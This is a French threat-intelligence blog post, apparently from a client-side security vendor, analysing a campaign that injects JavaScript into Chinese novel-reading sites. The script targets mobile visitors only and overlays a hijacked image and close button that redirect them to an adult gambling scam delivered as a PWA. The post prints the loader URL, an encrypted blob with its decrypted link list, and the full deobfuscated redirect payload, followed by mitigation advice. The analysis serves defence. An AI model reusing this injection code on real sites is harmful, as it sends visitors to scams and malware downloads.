En bref : redirection par overlay PWA avec filtre sur user-agent mobile uniquement
- La PWA est une surface d'attaque : Les Progressive Web Apps sont traitées comme une simple histoire d'UX interne, pas comme une surface d'attaque. Cette campagne a transformé la PWA en page d'atterrissage d'une arnaque de paris pour adultes, précisément parce que personne, côté sécurité client, ne surveillait cette porte.
- Mobile uniquement, à peine signalé : Le chargeur injecté depuis xxsmad6[.]com ne se déclenchait que sur les user-agents mobiles, déposait une image en superposition provenant de toutiaoimg[.]com, puis redirigeait les victimes vers xjdm166[.]com ; deux échantillons n'ont été signalés que par 3 moteurs sur 63 et 3 sur 65 sur VirusTotal. cside surveille le comportement des scripts en temps réel sur de vrais visiteurs, et non sur les robots d'exploration desktop que l'attaquant filtre.
- Testez ce que voit le mobile : Si votre site charge le moindre script tiers et sert du trafic mobile, testez cette semaine ce qu'un téléphone en Asie voit réellement. Si vous ne vérifiez que le desktop, vous inspectez la version que l'attaquant a conçue pour que vous la voyiez.
Peu de temps ? Découvrez le blocage in-browser des Magecart et skimmers de cside. Elle couvre tout ce qui suit en un seul déploiement.
Nous avons identifié une nouvelle campagne exploitant des injections JavaScript tierces pour rediriger les utilisateurs mobiles vers une arnaque PWA chinoise à contenu adulte.
Exemple (NSFW) : hxxps://xjdm166[.]com/html/#/i/home
Si la charge utile elle-même n'a rien de nouveau (encore une arnaque de jeux d'argent pour adultes), la méthode de livraison, elle, se distingue. La page d'atterrissage malveillante est une Progressive Web App (PWA) à part entière, probablement destinée à retenir les utilisateurs plus longtemps et à contourner les protections de base des navigateurs.
Les PWA sont souvent ignorées dans le domaine de la sécurité côté client. Pourtant, toute livraison basée sur le navigateur est exposée à ce type de vulnérabilités.

Ce qui se passe :
- Ciblage mobile uniquement : le script filtre les utilisateurs desktop et concentre les attaques sur les appareils mobiles.
- Injection de script pour la balise viewport : si la page compromise ne possède pas de balise meta viewport, le script en injecte une pour forcer un rendu mobile correct.
- Injection d'une superposition publicitaire : une superposition sombre semi-transparente apparaît, une image récupérée depuis toutiaoimg[.]com sert de visuel principal, et une image de bouton de fermeture est ajoutée, laquelle déclenche une redirection au lieu de fermer la superposition.
- Détournement de clic : cliquer sur l'image principale ou sur le faux bouton de fermeture ouvre le site d'arnaque PWA dans un nouvel onglet, un classique appât-et-substitution.
- Ressources externes chargées :
- xxsmad6[.]com (chargeur principal et ressources)
- xjdm166[.]com (site d'arnaque de destination finale)
- toutiaoimg[.]com (se faisant passer pour un hébergeur d'images légitime)
Les attaques par PWA sont en hausse
- L'utilisation des PWA suggère que les attaquants expérimentent des méthodes de phishing plus persistantes.
- Le ciblage exclusif du mobile leur permet d'échapper à de nombreux mécanismes de détection.
- Il s'agit d'une nouvelle variante des campagnes d'injection chinoises de jeux d'argent pour adultes observées ces derniers mois, mais avec une nouvelle tactique de diffusion.
Sites web compromis : déguisés en plateformes de lecture de romans
<title>海棠文学网_好看的小说_小说排行榜_最全的小说阅读网</title>
<title>神马小说网 - 最好看的免费小说阅读网</title>
<title>78小说网_书友最值得收藏!</title>
<title>寂寞书屋 - 纯净阅读,无弹窗广告干扰</title>
Traduction :
<title>Réseau littéraire Haitang_Bons romans_Classement des romans_Le réseau de lecture de romans le plus complet</title>
<title>Réseau de romans Shenma - Le meilleur réseau de lecture de romans gratuit</title>
<title>Réseau de romans 78_Les amis des livres méritent le plus d'être collectionnés !</title>
<title>Maison du livre solitaire - Lecture pure, sans publicités intempestives</title>

Dans l'ancien TTP, les sites suivants ont été victimes d'injections de scripts :

Dans le nouveau TTP, nous avons constaté que le code est chiffré :
$('#htmlContenthtml').html(x("uhkV3gCCBQyiiK\u002bNG9JE\u002b9hHSIODkYZ1ut5A6t6ZN1CzUGIQV0q\u002bDif4omYaPwky489u93Bg0A3mGPnKRNpagzetPGDoU\u002bqgg9XIwBFbNm0peuBVpJNWUyEo9A9jMb1ww\/lJPCvSd7udl39atb6SGz7uyslJZ9dasE\/vd\u002bHndr\u002bcaWLMw1gWIixKSIgpVmONGvK6CsRol9Y1q00W1XLRuBVoaGY2IKqMcfJJGpGwBtUQMLaxY5XZIrVLu10GdxWMXBMyvnghS\/EdP6hJtLE\/mfoGAf8zerXqTEKiTvTDKfG7CC7icpdf81fSEKdeh8AfSrHR48S1AagUWx0R6m5MFsm8BGTlJIzMUHzp9KJ\u002bI8Mnop9cH14cOgn2ogrgjDcmTH03ing4oZ\u002bWBiQlDGjMJAIEgYILMURWJrJBh\/OSYaiIcH0BaDem3\/cZ052IkV61YJFeyZqYEkIEd156Mednuct8dZ840FTbhhLlE43O0BpNKgQYCTKuC5HNXAQMihQXRwT1\u002bQidCflMlPdqiWbnNg5aFKTqF3Sp99OwGCGzzTOb55f\u002bmkHhqf4Lkx5JocptlF3RqE2LU8IAs9cxAGJeFOd\/\/iV89tqUPrEm6gZ9BUIcXDNmA39xIpn1gd2xnptU4GicPWmPhYgcwaZZqWKZdwcdDX\/a8l7JFiziVHrbjHq0D\/zLRH6DG2Cae6VPjbSsDBVnSwGV1eyi2xtEBEIjw3crQvNxDlEXPMAye16PvdqtoQSlhWbCuaehEOIzYpThGA6ar8elsWNA25IPOD2q08fb1XDkVY9WwgQhAStzAVi4Nkmr\u002b19472m27SXwFgQG\u002bL9qIvldGETi2MTAg7I4pTFiNdhCG7JrHVnjVLqWerIEs2Tfg6wc2Viw0jmIQHli0m79BvuN46pk\/kpNz8gbABrFb4pLA1FSXH\/bNG4KLt9O64bYUPAd7wTUv3Q47k1PmXTSwhTH\/wcFZagKEjoeE9M\/79a\u002bDIzPe5LnwBKxs\/DkktiZ9r0NokvYXutby9z2WjmjToVmDv03iD5O3wAF\/22sAzgtvVMAunEAy8nvDiuGRC5kko\u002bbjZrWiq6cMmCe6EhCcM3mSdHxj8pVy7\u002b5HLkDxqDMLBktDP1kdcMlwLlH9CIF6jzAuIF4WSEvaMAQXUHSgUJjyopdP1ApAaOgJBdb6rHxHrFYXsK8CscgkPCKb\u002bLoDyK\/X3MAA2TbqFPlEwCZv6YdtUEvabj\u002bUpFjxSfbqXnmKzebamYKrRiVkv\u002bOEYAa\u002barOSCx2e2M6sBjF5CpEuP9BWhs2f3kcQXtrf9OA\/jb69Vg6vl7U6kI\/PK92JQDHQsbMANMkICDTqU39Rv9TlRJU\u002bTerkvwUkJ\u002bcUeYr8C7HreKG6mIkneW2Dg6T\u002bDh792jOWjhKY\u002bgdov\/5cRJSRrk9Qn9f9n1BDvMzX\u002b\/qjuxUKz7pb7Jn9tuddc7HpsKV\/mvYHTYu\/hdqd7BtkowWidNN26gXWUbi3wKIXMGjzEI5LvjBIZQe7RB2oIEoWt5GxxLJXfo4LDQLWWhVPIgL5O0O7JBx51wWYCC\/35AhdojHKz\/W9k\/WkCgCiQ8bRbV5cnOfuHt\u002bEKLKZPTUdhveHlSVQxhiqx5P0\/y7NitzNHn17pfZtdtg9EeA8NNDdM50pGqzcY9Gq6UxzF5mvb\u002bKFPNIFhaPqSxU2bwk\u002bJxHyCX9PhmN8NoJao2sFgwrTMsPzXbpGGXk4moDOsO\/gEGIcv\/Lan5sOh1Sdk\u002bbBN0J4Et4bDzkcKqsRXd68TsRF\/4QL18N4mwdAeBzIgIr9oKSVN587pUEQ8cMWmMF1gO8oPsfHf2OxlyOq1ynp16QCDGVm7l46fzLCzTOg3sWIPWwmG9aVVTKD\/Rb5hIgJAb9nzF4dR8IXuJNgCsSswOPcDPmBS9cUoCCEfqtbQxHbwsV46r8ER28ZfzG9O31Z\/67FEmE4\u002bKS2\/nmHhS7C7LbhwfhEBhphphDngH9qjh1UdYU\/9eWGAdPRFnUJZPuUaPqb7W19ZJEigC9C9hhNZ\/lN3n2X2D\/mIsOLkr1S37gyrgTIheSGauTKf4JXwpu\/R9fHcO07uys7fQ6EAFVq6lTwDmNu3dX6RHlzY2f86vREVgYNIfOxgc\u002bZjqiFa0lyk3gV63G5NC\u002bfQmseG8ja9rAAQ\u002bvzzShhHtud4fVdAvPAafGCiGOi3vQQN7eHlFvkSKk08xkUdyApOzDyEp4VifnWEasTdRG2EtFd0\u002bteLPsnn\/Ws2RGEUhmo\u002bH0NCvybejA5SZH2xSyXCI6vzCXvEdXxVI5r4F811zdkG3dQXnJzyRTtz18EOpWOjWiCwIo\u002beK76g85y1AxsfvClDs1hHV1Fc452TbYnLIzB\/8D9BivBY0xJr3AEj9lpT8yMOY5aB0XvYcPAEnirKmILBYMH653DQ43Hz\/FkZjiFQzuNRUvD4FeBTLClcF4TI1abk7fFk1PdRbNdF18IXcudo7nus0oPM\u002bJmORxzD3jpYfBxxS2pG\/kIcZoalbFXyKZtE245MYCJdO9DoSRwLxTZ06lAjXQYxzht2CabUKVR7LnPN1UHduG9m7RxHCGX3EBQftz6nrlSfSn25VAknMD\/odK1WLR35OEV5HZA2OYUMJvNddB5Bn1UlEAtojd38xrNnja\u002bArC82AVJW7SZRlEKGYqn8zahGjEk9Dl7duhzPqkb\/x9\u002bBPuhCSNR6x5iuV0BOltS3KDAhIHWgcr\/XRQpiT7D6anVoberQm6gdz8sYAcw06Z7p2rhuL8HQmk5tZCRDJ2e6Gd91pGSn38fQvmTXkNC3mAqbH\u002b63HBtF9CnG76U6MX3qOhHxW3eLBur9WmlWJ0hAej4p5r3LBxJ2W8bTk322bB6n48WYgYOU4H0Xr\/QKZlbp0a10iOViF\/joR8n0CF5MDJr4JCAm4HSt7oVksigTAePh3hRt\u002b3Xoq0Znm3Ze46XvPr3JPZ9cUNpB\u002bjVSWztX41j0fzBCowNTAMDFYMv7QJTFfISU5daCT2PJ4bjwEd7s8dbL4GkiZzsHjeU1Y27pYuZ5WcW\u002bIWeuX1NXRaFSOT4spx\/FijUaA4g5jRR6Qmx55m5Mf2vOUJ9itjVMqfGGtb\/UyvvoizfN\u002bVNpdPRSUlB17cXotygSPIFpki4\/Yr53w8CvmIyKNsg7i0yt2nnuhP59k70WUTmR5e2Or8HCRkX7y6H2pm0IZkD2vmJFvTbLCkb4cjRU2SM28gWFmoelBucFfbiDxKkPYMvJjJSTkg6WiGtd8hdF82og0\u002bXvxAjKwuDb23btRE\/kKFDgllFg==","encryptedDatastr","eIyX1RkLJ4dnkjWpsfuAWA=="));

Ce code se déchiffre en :
<style type="text/css">
@media screen and (min-width:800px){.yl5{display:none;}}.yl5{width:100%;overflow:auto;background:#33343f;}.yl5 dd{float:left;width:20%;white-space:nowrap;overflow:hidden;padding:0;line-height:32px;margin-inline-start:0px;margin-bottom:0rem;}.yl5 dd li{line-height:30px;height:30px;overflow:hidden;text-align:center;border:1px solid #e5e5e5;background:#33343f;border-radius:1px;list-style:none;}.yl5 dd li a{font-size:18px;color:#f9ff00;}</style>
<div class="yl5">
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/yn2k0ypd"><strong>视频I区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/r42r7opq"><strong>视频E区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/mqp10w2x"><strong>视频J区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/z32x7npd"><strong>视频D区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/1dpy76pv"><strong>视频P区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/oq5dd058"><strong>视频F区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/q5o9gx5w"><strong>视频Q区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/l50dx72e"><strong>视频S区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/32xdq1pd"><strong>视频W区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/92qlr9pn"><strong>视频Y区</strong></a></li></dd>
<div class="mebty"><table border="1" width="100%" class="duilianpt" bgcolor="#ffffff" cellspacing="0" bordercolor="#FFFFFF" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF" cellpadding="4" style="text-align:center; background-color: #33343f;font-size: 16px;"><tbody><tr><td style="background-color: #33343f;"><a style="color: red;">AV VIP温馨提示:因运营商网络问题,若网站打不开,akav01.top-akav60.top总有一个能打开!</a></td></tr></tbody></table></div></div>
Le flux d'injection
L'attaque commence par l'injection du script suivant dans les sites web :
javascript
CopyEdit
hxxps://xxsmad6[.]com/s.php?g=1&t=2&p=1388&i=
- Ce script joue le rôle de chargeur initial.
- Lorsque la victime visite un site web compromis depuis un appareil mobile, cela déclenche la redirection.
- Les visites provenant d'appareils non mobiles (ordinateurs de bureau, robots d'exploration serveur) sont ignorées, ce qui réduit la détection.
Nous observons un trafic important vers ce domaine, ce qui suggère que la campagne est de grande ampleur.
Le script de la charge utile (désobfuscation JavaScript)
Voici une analyse du code principal injecté :
(function () {
let flag = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
if(!flag){ return false; }
// Ensure viewport for mobile rendering
var gmate = document.getElementsByTagName('meta'), isviewport = 1;
for(var i=0,len=gmate.length; i<len; i++){
if(gmate[i] && gmate[i].getAttribute('name') == 'viewport'){ isviewport = 0; }
}
if(isviewport){
var node = document.createElement('meta');
node.content = 'width=device-width,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0,user-scalable=no';
node.name = 'viewport';
document.getElementsByTagName('head')[0].insertBefore(node, head.firstChild);
}
// Fallback for missing body
if(!document.body){
document.write("<a id='_nobody' style='display: none'>none</a>");
}
var arand = Math.floor(Math.random() * 100000);
var o = "<div id='"+arand+"' style='width:100%;background-color: rgba(0,0,0,.64);box-shadow: 0 -1px 1px rgba(0,0,0,.10);'>" +
"<div style='position: relative;'>" +
"<a href='https://xxsmad6.com' target='_blank'>" +
"<img style='position: absolute;bottom: 0;left:0;display: none;' src='hxxps://xxsmad6[.]com/static/union/images/b-5.png'>" +
"</a>" +
"<img id='i"+arand+"' style='width: 100%;display: block;' src='hxxps://p3-sign.toutiaoimg[.]com/...' >" +
"<img src='hxxps://xxsmad6[.]com/static/union/images/close.png' id='c"+arand+"' style='position:absolute;top:0;right:0;cursor:pointer;width:26px;height:26px;z-index:2147483647'>" +
"</div>" +
"</div>";
document.write(o);
document.getElementById("c"+arand).onclick = function() {
window.open(("hxxps://xjdm166[.]com/html/?p=1388"), "_blank");
};
document.getElementById("i"+arand).onclick = function() {
window.open(("hxxps://xjdm166[.]com/html/?p=1388"), "_blank");
};
})();

Au cours de l'analyse, nous avons découvert des anomalies dans ces applications web, qui nous ont permis de trouver des frames cachées.
Voici à quoi ressemble le site Ho ti normalement :

Site web avec des anomalies de frames :

Les URL injectées mènent à de faux sites pour adultes qui tentent de se faire passer pour des sites pour adultes bien connus :

Cela mène au téléchargement de logiciels malveillants pour Android et Apple :

Nous avons réussi à obtenir 2 échantillons détectés par seulement 3 éditeurs sur VirusTotal.
Atténuation et recommandations :
- Examinez et assainissez les scripts tiers. Concentrez-vous sur les inclusions externes que vous ne contrôlez pas.
- Mettez en place une CSP (Content Security Policy) stricte pour réduire l'exécution de scripts en ligne.
- Surveillez le comportement en temps réel de votre site web à l'aide d'une solution de sécurité côté client.
- Restez vigilant face à toute nouvelle balise meta inattendue, toute superposition, ou toute requête externe vers des domaines que vous ne reconnaissez pas.









